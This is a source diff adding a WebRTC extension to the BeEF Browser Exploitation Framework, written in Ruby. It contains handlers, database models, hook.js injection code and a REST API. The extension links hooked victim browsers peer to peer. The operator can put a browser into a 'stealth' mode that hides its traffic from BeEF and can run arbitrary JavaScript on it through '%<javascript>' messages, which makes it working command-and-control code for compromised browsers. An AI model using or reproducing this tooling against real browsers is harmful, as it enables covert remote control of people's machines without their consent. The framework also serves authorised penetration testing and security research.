module BeEF
module Extension
module WebRTC
module RegisterHttpHandler
BeEF::API::Registrar.instance.register(BeEF::Extension::WebRTC::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')
# We register the http handler for the WebRTC signalling extension.
# This http handler will handle WebRTC signals from browser to browser
# We also define an rtc message handler, so that the beefwebrtc object can send messages back into BeEF
def self.mount_handler(beef_server)
beef_server.mount('/rtcsignal', BeEF::Extension::WebRTC::SignalHandler)
beef_server.mount('/rtcmessage', BeEF::Extension::WebRTC::MessengeHandler)
beef_server.mount('/api/webrtc', BeEF::Extension::WebRTC::WebRTCRest.new)
end
end
module RegisterPreHookCallback
BeEF::API::Registrar.instance.register(BeEF::Extension::WebRTC::RegisterPreHookCallback, BeEF::API::Server::Hook, 'pre_hook_send')
# We register this pre hook action to ensure that signals going to a browser are included back in the hook.js polling
# This is also used so that BeEF can send RTCManagement messages to the hooked browser too
def self.pre_hook_send(hooked_browser, body, params, request, response)
dhook = BeEF::Extension::WebRTC::API::Hook.new
dhook.requester_run(hooked_browser, body)
end
end
end
end
end

View File

@@ -0,0 +1,110 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# A lot of this logic is cloned from the requester extension, which had a sane way of sending/recvng
# JS to the clients..
module BeEF
module Extension
module WebRTC
module API
require 'uri'
class Hook
include BeEF::Core::Handlers::Modules::BeEFJS
# If the Rtcsignal table contains requests that need to be sent (has_sent = waiting), retrieve
# and send them to the hooked browser.
# Don't forget, these are signalling messages for a peer, so we don't check that the request
# is for the hooked_browser_id, but the target
# This logic also checks the Rtc
def requester_run(hb, body)
@body = body
rtcsignaloutput = []
rtcmanagementoutput = []
# Get all RTCSignals for this browser
BeEF::Core::Models::Rtcsignal.all(:target_hooked_browser_id => hb.id, :has_sent => "waiting").each { |h|
# output << self.requester_parse_db_request(h)
rtcsignaloutput << h.signal
h.has_sent = "sent"
h.save
}
# Get all RTCManagement messages for this browser
BeEF::Core::Models::Rtcmanage.all(:hooked_browser_id => hb.id, :has_sent => "waiting").each {|h|
rtcmanagementoutput << h.message
h.has_sent = "sent"
h.save
}
# Return if we have no new data to add to hook.js
return if rtcsignaloutput.empty? and rtcmanagementoutput.empty?
config = BeEF::Core::Configuration.instance
ws = BeEF::Core::Websocket::Websocket.instance
# todo antisnatchor: prevent sending "content" multiple times. Better leaving it after the first run, and don't send it again.
#todo antisnatchor: remove this gsub crap adding some hook packing.
# The below is how antisnatchor was managing insertion of messages dependent on WebSockets or not
# Hopefully this still works
if config.get("beef.http.websocket.enable") && ws.getsocket(hb.session)
rtcsignaloutput.each {|o|
add_rtcsignal_to_body o
} unless rtcsignaloutput.empty?
rtcmanagementoutput.each {|o|
add_rtcmanagement_to_body o
} unless rtcmanagementoutput.empty?
# ws.send(content + @body,hb.session)
ws.send(@body,hb.session)
#if we use WebSockets, just reply wih the component contents
else # if we use XHR-polling, add the component to the main hook file
rtcsignaloutput.each {|o|
add_rtcsignal_to_body o
} unless rtcsignaloutput.empty?
rtcmanagementoutput.each {|o|
add_rtcmanagement_to_body o
} unless rtcmanagementoutput.empty?
end
end
def add_rtcsignal_to_body(output)
@body << %Q{
beef.execute(function() {
var peerid = null;
for (k in beefrtcs) {
if (beefrtcs[k].allgood === false) {
peerid = beefrtcs[k].peerid;
}
}
if (peerid == null) {
console.log('received a peer message, but, we are already setup?');
} else {
beefrtcs[peerid].processMessage(
JSON.stringify(#{output})
);
}
});
}
end
def add_rtcmanagement_to_body(output)
@body << %Q{
beef.execute(function() {
#{output}
});
}
end
end
end
end
end
end

View File

@@ -0,0 +1,14 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
extension:
webrtc:
name: 'WebRTC'
enable: false
authors: ["xntrik"]
stunservers: '["stun:stun.l.google.com:19302","stun:stun1.l.google.com:19302"]'
# stunservers: '["stun:stun.l.google.com:19302"]'
turnservers: '{"username": "someone%40somewhere.com", "password": "somepass", "uris": ["turn:numb.viagenie.ca:3478?transport=udp","turn:numb.viagenie.ca:3478?transport=tcp"]}'

View File

@@ -0,0 +1,25 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module WebRTC
extend BeEF::API::Extension
@short_name = 'webrtc'
@full_name = 'WebRTC'
@description = 'WebRTC extension to all browsers to connect to each other (P2P) with WebRTC'
end
end
end
require 'extensions/webrtc/models/rtcsignal'
require 'extensions/webrtc/models/rtcmanage'
require 'extensions/webrtc/api/hook'
require 'extensions/webrtc/handlers'
require 'extensions/webrtc/api'
require 'extensions/webrtc/rest/webrtc'

View File

@@ -0,0 +1,96 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module WebRTC
#
# The http handler that manages the WebRTC signals sent from browsers to other browsers.
#
class SignalHandler
R = BeEF::Core::Models::Rtcsignal
Z = BeEF::Core::Models::HookedBrowser
def initialize(data)
@data = data
setup()
end
def setup()
# validates the hook token
beef_hook = @data['beefhook'] || nil
(print_error "beefhook is null";return) if beef_hook.nil?
# validates the target hook token
target_beef_id = @data['results']['targetbeefid'] || nil
(print_error "targetbeefid is null";return) if target_beef_id.nil?
# validates the signal
signal = @data['results']['signal'] || nil
(print_error "Signal is null";return) if signal.nil?
# validates that a hooked browser with the beef_hook token exists in the db
zombie_db = Z.first(:session => beef_hook) || nil
(print_error "Invalid beefhook id: the hooked browser cannot be found in the database";return) if zombie_db.nil?
# validates that a target browser with the target_beef_token exists in the db
target_zombie_db = Z.first(:id => target_beef_id) || nil
(print_error "Invalid targetbeefid: the target hooked browser cannot be found in the database";return) if target_zombie_db.nil?
# save the results in the database
signal = R.new(
:hooked_browser_id => zombie_db.id,
:target_hooked_browser_id => target_zombie_db.id,
:signal => signal
)
signal.save
end
end
#
# The http handler that manages the WebRTC messages sent from browsers.
#
class MessengeHandler
Z = BeEF::Core::Models::HookedBrowser
def initialize(data)
@data = data
setup()
end
def setup()
# validates the hook token
beef_hook = @data['beefhook'] || nil
(print_error "beefhook is null";return) if beef_hook.nil?
# validates the target hook token
peer_id = @data['results']['peerid'] || nil
(print_error "peerid is null";return) if peer_id.nil?
# validates the message
message = @data['results']['message'] || nil
(print_error "Message is null";return) if message.nil?
# validates that a hooked browser with the beef_hook token exists in the db
zombie_db = Z.first(:session => beef_hook) || nil
(print_error "Invalid beefhook id: the hooked browser cannot be found in the database";return) if zombie_db.nil?
# validates that a browser with the peerid exists in the db
peer_zombie_db = Z.first(:id => peer_id) || nil
(print_error "Invalid peer_id: the peer hooked browser cannot be found in the database";return) if peer_zombie_db.nil?
# Writes the event into the BeEF Logger
BeEF::Core::Logger.instance.register('WebRTC', "Browser:#{zombie_db.id} received message from Browser:#{peer_zombie_db.id}: #{message}")
end
end
end
end
end

View File

@@ -0,0 +1,62 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module Models
#
# Table stores the queued up JS commands for managing the client-side webrtc logic.
#
class Rtcmanage
include DataMapper::Resource
storage_names[:default] = 'extension_webrtc_rtcmanage'
property :id, Serial
# The hooked browser id
property :hooked_browser_id, Text, :lazy => false
# The message
property :message, Text, :lazy => true
# Boolean value to say if the signal has been sent to the target peer
property :has_sent, Text, :lazy => false, :default => "waiting"
# Starts the RTCPeerConnection process, establishing a WebRTC connection between the caller and the receiver
def self.initiate(caller, receiver, verbosity = false)
stunservers = BeEF::Core::Configuration.instance.get("beef.extension.webrtc.stunservers")
turnservers = BeEF::Core::Configuration.instance.get("beef.extension.webrtc.turnservers")
# Add the beef.webrtc.start() JavaScript call into the Rtcmanage table - this will be picked up by the browser on next hook.js poll
# This is for the Receiver
r = BeEF::Core::Models::Rtcmanage.new(:hooked_browser_id => receiver, :message => "beef.webrtc.start(0,#{caller},JSON.stringify(#{turnservers}),JSON.stringify(#{stunservers}),#{verbosity});")
r.save
# This is the same beef.webrtc.start() JS call, but for the Caller
r = BeEF::Core::Models::Rtcmanage.new(:hooked_browser_id => caller, :message => "beef.webrtc.start(1,#{receiver},JSON.stringify(#{turnservers}),JSON.stringify(#{stunservers}),#{verbosity});")
r.save
end
# Advises a browser to send an RTCDataChannel message to its peer
# Similar to the initiate method, this loads up a JavaScript call to the beefrtcs[peerid].sendPeerMsg() function call
def self.sendmsg(from, to, message)
r = BeEF::Core::Models::Rtcmanage.new(:hooked_browser_id => from, :message => "beefrtcs[#{to}].sendPeerMsg('#{message}');")
r.save
end
# Gets the browser to run the beef.webrtc.status() JavaScript function
# This JS function will return it's values to the /rtcmessage handler
def self.status(id)
r = BeEF::Core::Models::Rtcmanage.new(:hooked_browser_id => id, :message => "beef.webrtc.status(#{id});")
r.save
end
end
end
end
end

View File

@@ -0,0 +1,36 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module Models
#
# Table stores the webrtc signals from a hooked_browser, directed to a target_hooked_browser
#
class Rtcsignal
include DataMapper::Resource
storage_names[:default] = 'extension_webrtc_rtcsignals'
property :id, Serial
# The hooked browser id
property :hooked_browser_id, Text, :lazy => false
# The target hooked browser id
property :target_hooked_browser_id, Text, :lazy => false
# The WebRTC signal to submit. In clear text.
property :signal , Text, :lazy => true
# Boolean value to say if the signal has been sent to the target peer
property :has_sent, Text, :lazy => false, :default => "waiting"
end
end
end
end

View File

@@ -0,0 +1,222 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module WebRTC
# This class handles the routing of RESTful API requests that manage the WebRTC Extension
class WebRTCRest < BeEF::Core::Router::Router
# Filters out bad requests before performing any routing
before do
config = BeEF::Core::Configuration.instance
# Require a valid API token from a valid IP address
halt 401 unless params[:token] == config.get('beef.api_token')
halt 403 unless BeEF::Core::Rest.permitted_source?(request.ip)
headers 'Content-Type' => 'application/json; charset=UTF-8',
'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
'Expires' => '0'
end
#
# @note Initiate two browsers to establish a WebRTC PeerConnection
# Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log
# for success messages. For instance: Event: Browser:1 received message from Browser:2: ICE Status: connected
#
# Input must be specified in JSON format
#
# +++ Example: +++
#POST /api/webrtc/go?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
#Host: 127.0.0.1:3000
#Content-Type: application/json; charset=UTF-8
#
#{"from":1, "to":2}
#===response (snip)===
#HTTP/1.1 200 OK
#Content-Type: application/json; charset=UTF-8
#
#{"success":"true"}
#
# +++ Example with verbosity on the client-side +++
#POST /api/webrtc/go?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
#Host: 127.0.0.1:3000
#Content-Type: application/json; charset=UTF-8
#
#{"from":1, "to":2, "verbose": true}
#===response (snip)===
#HTTP/1.1 200 OK
#Content-Type: application/json; charset=UTF-8
#
#{"success":"true"}
#
# +++ Example with curl +++
# curl -H "Content-type: application/json; charset=UTF-8" -v
# -X POST -d '{"from":1,"to":2,"verbose":true}'
# http://127.0.0.1:3000/api/webrtc/go\?token\=df67654b03d030d97018f85f0284247d7f49c348
post '/go' do
begin
body = JSON.parse(request.body.read)
fromhb = body['from']
tohb = body['to']
verbose = body['verbose']
result = {}
unless [fromhb,tohb].include?(nil)
if verbose == nil
BeEF::Core::Models::Rtcmanage.initiate(fromhb.to_i, tohb.to_i)
result['success'] = true
else
if verbose.to_s =~ (/^(true|t|yes|y|1)$/i)
BeEF::Core::Models::Rtcmanage.initiate(fromhb.to_i, tohb.to_i,true)
result['success'] = true
else
BeEF::Core::Models::Rtcmanage.initiate(fromhb.to_i, tohb.to_i)
result['success'] = true
end
end
else
result['success'] = false
end
result.to_json
rescue StandardError => e
print_error "Internal error while initiating RTCPeerConnections .. (#{e.message})"
halt 500
end
end
#
# @note Get the RTCstatus of a particular browser (and its peers)
# Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log
# for success messages. For instance: Event: Browser:1 received message from Browser:2: Status checking - allgood: true
#
# +++ Example: +++
#GET /api/webrtc/status/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
#Host: 127.0.0.1:3000
#
#===response (snip)===
#HTTP/1.1 200 OK
#Content-Type: application/json; charset=UTF-8
#
#{"success":"true"}
#
# +++ Example with curl +++
# curl -H "Content-type: application/json; charset=UTF-8" -v
# -X GET http://127.0.0.1:3000/api/webrtc/status/1\?token\=df67654b03d030d97018f85f0284247d7f49c348
get '/status/:id' do
begin
id = params[:id]
BeEF::Core::Models::Rtcmanage.status(id.to_i)
result = {}
result['success'] = true
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while queuing status message for #{id} (#{e.message})"
halt 500
end
end
#
# @note Instruct a browser to send an RTC DataChannel message to one of its peers
# Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log
# for success messages, IF ANY.
#
# Input must be specified in JSON format
#
# +++ Example: +++
#POST /api/webrtc/msg?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
#Host: 127.0.0.1:3000
#Content-Type: application/json; charset=UTF-8
#
#{"from":1, "to":2, "message":"Just a plain message"}
#===response (snip)===
#HTTP/1.1 200 OK
#Content-Type: application/json; charset=UTF-8
#
#{"success":"true"}
#
# +++ Example with curl +++
# curl -H "Content-type: application/json; charset=UTF-8" -v
# -X POST -d '{"from":1,"to":2,"message":"Just a plain message"}'
# http://127.0.0.1:3000/api/webrtc/go\?token\=df67654b03d030d97018f85f0284247d7f49c348
#
# Available client-side "message" options and handling:
# !gostealth - will put the <to> browser into a stealth mode
# !endstealth - will put the <to> browser into normal mode, and it will start talking to BeEF again
# %<javascript> - will execute JavaScript on <to> sending the results back to <from> - who will relay back to BeEF
# <text> - will simply send a datachannel message from <from> to <to>.
# If the <to> is stealthed, it'll bounce the message back.
# If the <to> is NOT stealthed, it'll send the message back to BeEF via the /rtcmessage handler
post '/msg' do
begin
body = JSON.parse(request.body.read)
fromhb = body['from']
tohb = body['to']
message = body['message']
result = {}
unless [fromhb,tohb,message].include?(nil)
BeEF::Core::Models::Rtcmanage.sendmsg(fromhb.to_i, tohb.to_i, message)
result['success'] = true
else
result['success'] = false
end
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while queuing message for #{id} (#{e.message})"
halt 500
end
end
# Raised when invalid JSON input is passed to an /api/webrtc handler.
class InvalidJsonError < StandardError
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/webrtc handler'
def initialize(message = nil)
super(message || DEFAULT_MESSAGE)
end
end
# Raised when an invalid named parameter is passed to an /api/webrtc handler.
class InvalidParamError < StandardError
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/webrtc handler'
def initialize(message = nil)
str = "Invalid \"%s\" parameter passed to /api/webrtc handler"
message = sprintf str, message unless message.nil?
super(message)
end
end
end
end
end
end